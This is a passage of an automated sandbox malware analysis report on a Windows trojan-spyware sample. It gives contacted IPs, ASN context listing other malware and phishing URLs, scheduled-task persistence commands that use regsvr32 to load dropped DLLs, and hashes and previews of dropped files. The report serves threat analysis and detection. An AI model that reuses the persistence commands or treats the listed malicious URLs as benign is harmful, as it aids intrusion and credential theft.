212.75.29.156	unknown	Bulgaria	43205	BULSATCOM-BG-ASSofiaBG	false
37.97.185.116	unknown	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false
3.110.12.133	unknown	United States	16509	AMAZON-02US	false
108.128.26.220	unknown	United States	16509	AMAZON-02US	false
40.76.229.31	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
5.228.114.154	unknown	Russian Federation	42610	NCNET-ASRU	false
52.51.137.106	unknown	United States	16509	AMAZON-02US	false
147.45.126.71	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
185.14.30.213	unknown	Ukraine	21100	ITLDC-NLUA	false
185.58.206.164	unknown	Russian Federation	35196	IHOR-ASRU	false

Private

IP
192.168.2.255
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1526371
Start date and time:	2024-10-05 14:32:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	81zBpBAWwc.exe renamed because original name is a hash value
Original Sample Name:	8837df25aabc4fad85e851aca192f714.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/16@0/100
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 65% Number of executed functions: 16 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 88.221.110.91, 192.229.221.95
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target OpenWith.exe, PID 7700 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7492 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:32:56	API Interceptor	40x Sleep call for process: powershell.exe modified
08:33:32	API Interceptor	1x Sleep call for process: wmpnscfg.exe modified
08:34:07	API Interceptor	1250377x Sleep call for process: rekeywiz.exe modified
13:32:59	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4} path: regsvr32 s>/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini
13:33:43	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000} path: regsvr32 s>/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5.19.249.240	file.exe	Get hash	malicious	Unknown	Browse
5.19.249.240	file.exe	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROSTELECOM-ASRU	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	95.159.149.185
	https://smallpdf.com/sign-pdf/document#data=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2VzaWduLnNtYWxscGRmLXN0YWdpbmcuY29tIiwic3ViIjoiN2NmYmYzYzYtZGJhZS00MDU2LWFmNjEtZTE1OTY4NGUxZTc4IiwiYXVkIjpbImVzaWduIl0sImV4cCI6MTcyOTI1NTE2OCwibmJmIjoxNzI4MDQ1NTY4LCJpYXQiOjE3MjgwNDU1NjgsImp0aSI6IjdjZmJmM2M2LWRiYWUtNDA1Ni1hZjYxLWUxNTk2ODRlMWU3OCIsInBheWxvYWQiOnsiZW52ZWxvcGVfaWQiOiIyNDYxNDE2ZC1iYWJmLTQzMDktOTRhYy1hZWJkYzRjMmZmY2MiLCJzaWduX3JlcXVlc3RfaWQiOiI3Y2ZiZjNjNi1kYmFlLTQwNTYtYWY2MS1lMTU5Njg0ZTFlNzgiLCJ0b2tlbl90eXBlIjoibm90aWZpY2F0aW9uIiwidXNlcl9lbWFpbCI6ImZyYW5jZXMud29vZEB1a3JpLm9yZyIsInVzZXJfZmlyc3RuYW1lIjoiZnJhbmNlcy53b29kQHVrcmkub3JnIiwidXNlcl9sYXN0bmFtZSI6ImZyYW5jZXMud29vZEB1a3JpLm9yZyJ9fQ.OqxYiO2DP6wYmX2t6u3X4Qa-FIZ5J__ELTV29qKimLo&eid=2461416d-babf-4309-94ac-aebdc4c2ffcc&esrt=7cfbf3c6-dbae-4056-af61-e159684e1e78	Get hash	malicious	HTMLPhisher	Browse	217.15.163.116
	yakov.mips.elf	Get hash	malicious	Mirai	Browse	85.15.166.251
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	178.45.229.114
	novo.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	88.147.196.60
	novo.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	213.177.127.248
	novo.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	95.72.27.152
	novo.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	5.143.106.71
	yakov.sh4.elf	Get hash	malicious	Mirai	Browse	46.159.53.150
	yakov.x86.elf	Get hash	malicious	Mirai	Browse	95.32.20.50
M247GB	file.dll	Get hash	malicious	Matanbuchus	Browse	193.109.85.31
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	91.202.233.141
	Formularz instrukcji p#U0142atno#U015bci Millennium.xls	Get hash	malicious	Remcos	Browse	185.236.203.101
	http://toomdexter.kindofx.com/c/2734/14-13347393/2/	Get hash	malicious	Unknown	Browse	5.183.103.118
	8cpJOWLf79.rtf	Get hash	malicious	Remcos	Browse	89.238.176.21
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	91.202.233.158
	novo.arm64.elf	Get hash	malicious	Mirai, Moobot	Browse	38.202.249.53
	novo.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	38.95.109.126
	yakov.sh4.elf	Get hash	malicious	Mirai	Browse	172.102.214.23
	3TPmRbd6H0.dll	Get hash	malicious	SystemBC	Browse	38.132.122.161
PULKOVO-ASRU	sbbpYv6Pjz.dll	Get hash	malicious	Wannacry	Browse	94.125.15.250
AMAZON-02US	https://cedars-sinai-enterprise.dicomgrid.com/worklist/	Get hash	malicious	Unknown	Browse	54.228.130.169
	rfc[1].html	Get hash	malicious	Unknown	Browse	52.222.236.71
	[MALICIOUS]_Secured_Doc-[yBv-26104].pdf	Get hash	malicious	Unknown	Browse	18.193.37.153
	survey.pdf	Get hash	malicious	PDFPhish	Browse	52.217.0.206
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdxlqwif.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzoxZWJhNTM5MDhjODJhZTYyM2M5MDM3ZjkwZTI3ZjliZjo3OmUzYTI6MjUxYmEwYmY4MzRlNGZkNWNiNzBlNGJiNmNiNGQwZTMxZDYzMWE0ZGZkZmVmYWQ0MmJkNGQxNGZjNzZiYzQ0MTpoOlQ6VA#am9uYXRoYW5fbW9vcmVAdHJla2Jpa2VzLmNvbQ==	Get hash	malicious	Unknown	Browse	18.195.235.189
	https://url.avanan.click/v2/r01/___https:/www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdxlqwif.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzoxZWJhNTM5MDhjODJhZTYyM2M5MDM3ZjkwZTI3ZjliZjo3OmUzYTI6MjUxYmEwYmY4MzRlNGZkNWNiNzBlNGJiNmNiNGQwZTMxZDYzMWE0ZGZkZmVmYWQ0MmJkNGQxNGZjNzZiYzQ0MTpoOlQ6VA#ZWxraW5AY29yZTRjZS5jb20=	Get hash	malicious	Unknown	Browse	108.138.7.80
	GGLoader.exe	Get hash	malicious	Laplas Clipper, SilentCrypto Miner	Browse	185.166.143.49
	https://s3.amazonaws.com/r3e1272/Rco.html#4eyOul3510eTKK19nejdimaazo189TBUDIERNFIMTFBQ264510CRSG907S11	Get hash	malicious	Phisher	Browse	54.231.172.248
	http://nirothniroth.site/?p=22&fbclid=IwY2xjawFs_DdleHRuA2FlbQIxMQABHTdgZU6ok722L5RxKPR-zh7Gkm6BqZ8BcT950y1bxf6l0LKz0zslg7KJHw_aem__ldVm1UUndXAkwYRakjBzg	Get hash	malicious	Unknown	Browse	52.213.102.87
	https://www.fukui-tv.co.jp/_click.php?id=83642&url=https://brewingrecovery.com/carrierzone.html#acctg@azteccontainer.com	Get hash	malicious	HTMLPhisher	Browse	3.160.150.28
GCN-UA	file.exe	Get hash	malicious	SystemBC	Browse	91.192.136.48
HETZNER-ASDE	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse	49.12.197.9
	https://s3.amazonaws.com/r3e1272/Rco.html#4eyOul3510eTKK19nejdimaazo189TBUDIERNFIMTFBQ264510CRSG907S11	Get hash	malicious	Phisher	Browse	5.161.250.225
	w4DO1Z18yg.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	188.40.141.211
	https://indexconectada.net.br/	Get hash	malicious	Unknown	Browse	85.10.195.17
	https://iasitvlife.ro	Get hash	malicious	Unknown	Browse	49.12.228.110
	https://iasitvlife.ro/stiri/local/a-sunat-la-call-center-anticoruptie-si-a-denuntat-un-functionar-public/	Get hash	malicious	HTMLPhisher	Browse	49.12.228.110
	Zxooek.exe	Get hash	malicious	FormBook	Browse	88.198.46.204

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	XWorm.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	https://wide-loads.powerappsportals.com/	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 13.107.246.45

Process:	C:\Windows\System32\regsvr32.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.383282394444275
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp151KDLI4MN5I/k1Bv:ML9E4KQ71qE4GIsD
MD5:	00930768B2E044245AC5529BC4F2FFDF
SHA1:	DF262F47F31653AAE570477B12B90B2E385A8D50
SHA-256:	E0A23AC0FD66AC2AD5922D20187B374A1B7B148FF47CABB69441EB2F699008C8
SHA-512:	76F371B3D2FCE707DA45DCA1755DE56BA7AC8827E5F18F900E52AEF35AEF3D42B39F656CC08A10372872BA601AFD9E6F3D930A98F92A3F9A885E9B6CBAF38ADA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tl2eztg.qzb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25vmboqr.fgr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5g4eu4q.ttk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jim0px3a.5iv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzw2czj1.cko.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luaxbhni.pw0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pz1h5mgp.44d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tpnaftvm.1mm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\second_data_temp.zip

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	94081
Entropy (8bit):	7.867349334322687
Encrypted:	false
SSDEEP:	1536:6JlEt2c1bx3Wv8FFdY38bjlMyrr1D2iri2KQjHhIvwwwXNjsbdCnhBqCMEgAVvDG:QlsvdYMP1r8QjB99ICniZsG
MD5:	33725DFCC8FFCBC026839DA2BDB55DAE
SHA1:	35F249AD0850B4EDBC62AF40DE427EF2BDD99C78
SHA-256:	0DE6B62B625EA86A56117A1EDCEFF37DFA1D2492BB62993BAAF9C59FBE1FF789
SHA-512:	9D663C570DF995BB8402AE5A8236A47EE2581439CFF6F53FB0FCC84A1960D448963DA94F9FA91849DD10020DC08FF8A3096420DE57BC6653722480180807D4B6
Malicious:	false
Preview:	PK..........AY...@.n..........second_data.bin.\y\.....,.n.$..9$.Ri...$."G.\.,..P.TB.&.F.)R....I.fE..}..s...{....g...Z.Z{.7..,..E..o.{iF".YO.dTE.D.'..04"%.....0N.x`.C......1..&.Q.r...}..zW<=D.m ..'.[.L.@...r..A...*Kn...X.J+7....,..../....4.........n.`04V.Y.......q...............PJUT.'>..]....~.og........%.....F..!.....8..\|.5....".....-.............%.1....?2 ...A.[k..........5E-.U{io...`\|..H..;..?<....!..Z.?.1rs5".X...d.T.86\|K#..G<K.i.d.Y4....S>-a...2W..8...{.L.C....... .s..H......_.}n(..}oz?.c...Z.l...9Rb...Hs.........Rt.W.._y+f9O......m./.......Cg....kq.&[..N.e./.[.~...qYx........O.I.\Q...U..k.f.].c...N..r.......O.ARv......^j..Z...._v...z9.b..X.AVv.....k\|....7g....>g....7&B\.r.........E.UB.6C~Y.[z.:.B0.[S.....g--.p_..3......=.........[.....{.IFU.7>=.'#......S...v..>...,..b.i..0#w.F...E.....d...^........^...n.....\.....mk..S.!_..0.uc...Z........s.v.....I..r....2.b...PW....t...v...=Z`.f..x...'._.{..wu....L._.t....w.....x...~....$K(R....J..

C:\Users\user\AppData\Roaming\ACKq.ini

Download File

Process:	C:\Users\user\Desktop\81zBpBAWwc.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1069056
Entropy (8bit):	7.687858240798343
Encrypted:	false
SSDEEP:	24576:J80IV0b83n9cPUhWDn3nyjAhosTiwTJ80qIa07x72:a0DbeGU0iTsTi30q+7x72
MD5:	60A55B1D8E739216CADD3E31D7412F03
SHA1:	8B5C284796A1EFA1DF8A3EDDD27070D374E1CC54
SHA-256:	BE86E0357748F3B4FA166342F284800A83C955C2C8B197475C2450613A6EED67
SHA-512:	C06CB2B86F7A9DE5243F4395FB40FA88A7669F3E427D427AFB95801DE447BEB8F616847890AE12CFC6060EC7215CEB370CD61B5CF0395EAB81312121060DC7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...O-.f..........."...*.....L......0....................................................`... ......................................p..........................................\|...............................(...................X................................text...X...........................`..`.data...............................@....rdata.. ...........................@..@.pdata..............................@..@.xdata...2... ...4..................@..@.bss....@....`...........................edata.......p.......2..............@..@.idata...............4..............@....CRT....`............F..............@....tls.................H..............@....reloc..\|............J..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Tox\tox_save.tox

Download File

Process:	C:\Windows\System32\rekeywiz.exe
File Type:	data
Category:	dropped
Size (bytes):	2937
Entropy (8bit):	6.94560610651568
Encrypted:	false
SSDEEP:	48:GHcnzvKrBj8fS5eCe74Dci73gyfy2BlK+5EwQ1YXBE3:uczvK9QVJ74Dc6txlKbwQ1Yx6
MD5:	172240FD5465EFA6C4D269D71C1F11E5
SHA1:	32AAFBB44A360FE0D79BC7C8D08F70AA478C7DA6
SHA-256:	0B0DF2D99FE1B2C5CC0482E12B04DD610F923F2CC64427CB2287FFC06CCA4B02
SHA-512:	3CB468FEC35D5611CAA3519B6EBC55340E9B2D0EEC0A27E4B38B1FDADC20B56AAC2FBDE3B94C38E2F612C154E2D799A8987B7DA02F3A4D22DC7504BFE3233791
Malicious:	false
Preview:	........D..........[;.../+w..9J.M:...._../...0u...GZf.....z.A...jc.1.W...$..Tq.m...........Y.w.............n.)....(IX.Za.5Q.,..4h...U!.x.U...u3......7....V@>6o....p~.(q../.".n..15.......H^Z.w...z.O.s....2..@.43.j..4=.C.D..ds!...X$.2....E...0.....Di...?...t.?.{..U...#.W.4.D....{.H...4..6..G... E..n\|.Xy..+...e....b.{?....2..7..=.I=.o..W..W..v.&........G.....4..5..t....8.?..t\|..n60.\|..00L.o....-..p...yOM.....=..:.r.R.GI....tq-.6......0...........&i.u..[...;....6./.6........)\...i.hk.."_.!..ty._"v}X%.Q.ec]..h..+..-.K..>.>i./%....wh.......L.........ts.3........Oy.i2_.p.M.28........!.9.na...y..C...7.oP...{.....p.6.36....3T9....0E...N..Y.s.u......!.Z.,........k...P.1.+n...uz...Q.S..a.\B....i'....z..H......OK,u$[r/....P...p..e.-Xj....lw...Z.b/y.:.y/y..s..B.:\h...l..............cd.w...\|.r.}C7?.a.oY...".o....m........n.k...U..........].+.%a.t....q...5...W..~..y+=h..\oM.....e.6.jn...g..7B......HJ...oa:2....n`.Q.G.^.-$.....\..91e.2.~...V.....J.C.

C:\Users\user\AppData\Roaming\Tox\utox_save.ini

Download File

Process:	C:\Windows\System32\rekeywiz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.9400726873486547
Encrypted:	false
SSDEEP:	3:VcM6RQRov:VcM6Ky
MD5:	5B4E46B79998EE26C8F854677A591421
SHA1:	7A6F479B28D7AB6E28582AF0AEE03FF2E923D57F
SHA-256:	F3780570DA34038FFD91A135C23D0EF83EE1F4368E7E5088C4D8B44B87BD8E8A
SHA-512:	211EAF9EB13C461961AD0538B26452160814D08789C3D6CDD879EF74D0DB374C3D9F55B85D0EFB89C841778BDD269E1E3496F91DC0CF77205C7C030A4E8C754C
Malicious:	false
Preview:	[general]..save_version=4..

C:\Users\user\AppData\Roaming\Tox\utox_save.in~

Download File

Process:	C:\Windows\System32\rekeywiz.exe
File Type:	Generic INItialization configuration [interface]
Category:	dropped
Size (bytes):	708
Entropy (8bit):	4.648717284766249
Encrypted:	false
SSDEEP:	12:VGK+WHTshKsaRVmfq/tOE8JfnIYuv8jy+SthXiJX7rAQtJhiq+auyYVS0v9:VGK+WHMKsaRVmf0EbnIYu02WtHDfAVS8
MD5:	4936FFCD5B5217817FACFA40DD6BF3C3
SHA1:	6F340BF744570CEF6537BD0A7E93DCC32F90D80E
SHA-256:	1BFB54EA4231FA9922F3F33581D05924131788F8556938C77842B6C21BC7FECD
SHA-512:	1A04A33846641ED3C8F4D0FE1FC0AD26FEB9A55D229D202E69CCE97FA09FC14AB00D810C3A80F3A50D7FB255698005A5883F115727207BD4BAF81C80A2DFB3FD
Malicious:	false
Preview:	[general]..save_version=4..utox_last_version=4609..[interface]..language=0..window_x=0..window_y=0..window_width=750..window_height=500..theme=0..scale=10..logging_enabled=true..close_to_tray=false..start_in_tray=false..auto_startup=false..use_mini_flist=false..filter=false..magic_flist_enabled=false..use_long_time_msg=true..[av]..push_to_talk=false..audio_filtering_enabled=true..audio_device_in=0..audio_device_out=0..video_fps=25..[notifications]..audible_notifications_enabled=true..status_notifications=true..no_typing_notifications=true..group_notifications=2..[advanced]..enableipv6=true..disableudp=false..proxyenable=false..proxy_port=0..proxy_ip=..force_proxy=false..block_friend_requests=false..

C:\Users\user\AppData\Roaming\oc82.ini

Download File

Process:	C:\Windows\System32\rekeywiz.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	486400
Entropy (8bit):	6.904893954535027
Encrypted:	false
SSDEEP:	6144:gxOiJ9Cfi+tWW6AKEFR3hdf0GDm5iQ0d6ghn0N97tAD/IO9qckqHDUIKMB3emqqz:gxOiqfRD6kOb6node/B9U1MBOmqqra
